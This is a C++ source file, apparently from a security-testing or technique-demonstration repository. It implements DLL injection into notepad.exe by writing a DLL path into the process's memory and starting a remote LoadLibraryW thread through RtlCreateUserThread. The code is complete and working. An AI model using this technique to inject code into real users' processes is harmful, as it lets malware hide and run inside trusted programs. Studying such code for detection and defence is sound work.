Files
hfiref0x 2e5b50892b Fix signed/unsigned mismatch for specifiers in various *printf calls
The value passed to printf variation is all unsigned.
2019-01-25 10:31:41 +07:00

128 lines
3.8 KiB
C++

#include "pch.h"
#include "RtlCreateUserThread.h"
BOOL RtlCreateUserThread_Injection()
{
// some vars
HMODULE hNtdll;
DWORD dwProcessId;
HANDLE hProcess;
TCHAR lpDllName[] = _T("InjectedDLL.dll");
TCHAR lpDllPath[MAX_PATH];
LPVOID lpBaseAddress = NULL;
BOOL bStatus = FALSE;
HMODULE hKernel32;
FARPROC LoadLibraryAddress;
HANDLE hRemoteThread = NULL;
SIZE_T dwSize;
NTSTATUS Status;
// we have to import our function
pRtlCreateUserThread RtlCreateUserThread = NULL;
/*
GetLastError cannot be used with RtlCreateUserThread because this routine does not set Win32 LastError value.
Native status code must be translated to Win32 error code and set manually.
*/
pRtlNtStatusToDosError RtlNtStatusToDosErrorPtr = NULL;
/* Get Process ID from Process name */
dwProcessId = GetProcessIdFromName(_T("notepad.exe"));
if (dwProcessId == NULL)
return FALSE;
_tprintf(_T("\t[+] Getting proc id: %u\n"), dwProcessId);
/* Obtain a handle the process */
hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessId);
if (hProcess == NULL) {
print_last_error(_T("OpenProcess"));
return FALSE;
}
/* Get module handle of ntdll */
hNtdll = GetModuleHandle(_T("ntdll.dll"));
if (hNtdll == NULL) {
print_last_error(_T("GetModuleHandle"));
goto Cleanup;
}
/* Get routine pointer, failure is not critical */
RtlNtStatusToDosErrorPtr = (pRtlNtStatusToDosError)GetProcAddress(hNtdll, "RtlNtStatusToDosError");
/* Obtain a handle to kernel32 */
hKernel32 = GetModuleHandle(_T("kernel32.dll"));
if (hKernel32 == NULL) {
print_last_error(_T("GetModuleHandle"));
goto Cleanup;
}
// Get the address RtlCreateUserThread
_tprintf(_T("\t[+] Looking for RtlCreateUserThread in ntdll\n"));
RtlCreateUserThread = (pRtlCreateUserThread)GetProcAddress(hNtdll, "RtlCreateUserThread");
if (RtlCreateUserThread == NULL) {
print_last_error(_T("GetProcAddress"));
goto Cleanup;
}
_tprintf(_T("\t[+] Found at 0x%p\n"), RtlCreateUserThread);
/* Get LoadLibrary address */
_tprintf(_T("\t[+] Looking for LoadLibrary in kernel32\n"));
LoadLibraryAddress = GetProcAddress(hKernel32, "LoadLibraryW");
if (LoadLibraryAddress == NULL) {
print_last_error(_T("GetProcAddress"));
goto Cleanup;
}
_tprintf(_T("\t[+] Found at 0x%p\n"), LoadLibraryAddress);
/* Get the full path of the dll */
GetFullPathName(lpDllName, MAX_PATH, lpDllPath, NULL);
_tprintf(_T("\t[+] Full DLL Path: %s\n"), lpDllPath);
/* Calculate the number of bytes needed for the DLL's pathname */
dwSize = _tcslen(lpDllPath) * sizeof(TCHAR);
/* Allocate memory into the remote process */
_tprintf(_T("\t[+] Allocating space for the path of the DLL\n"));
lpBaseAddress = VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (lpBaseAddress == NULL) {
print_last_error(_T("VirtualAllocEx"));
goto Cleanup;
}
/* Write to the remote process */
printf("\t[+] Writing into the current process space at 0x%p\n", lpBaseAddress);
if (!WriteProcessMemory(hProcess, lpBaseAddress, lpDllPath, dwSize, NULL)) {
print_last_error(_T("WriteProcessMemory"));
goto Cleanup;
}
/* Create the more thread */
Status = RtlCreateUserThread(hProcess, NULL, 0, 0, 0, 0, LoadLibraryAddress, lpBaseAddress, &hRemoteThread, NULL);
if (!NT_SUCCESS(Status)) {
if (RtlNtStatusToDosErrorPtr) {
SetLastError(RtlNtStatusToDosErrorPtr(Status));
}
else {
SetLastError(ERROR_INTERNAL_ERROR);
}
print_last_error(_T("RtlCreateUserThread"));
}
else {
_tprintf(_T("Remote thread has been created successfully ...\n"));
WaitForSingleObject(hRemoteThread, INFINITE);
CloseHandle(hRemoteThread);
/* assign function success return result */
bStatus = TRUE;
}
Cleanup:
/* hProcess is always initialized here. */
if (lpBaseAddress) {
VirtualFreeEx(hProcess, lpBaseAddress, 0, MEM_RELEASE);
}
CloseHandle(hProcess);
return bStatus;
}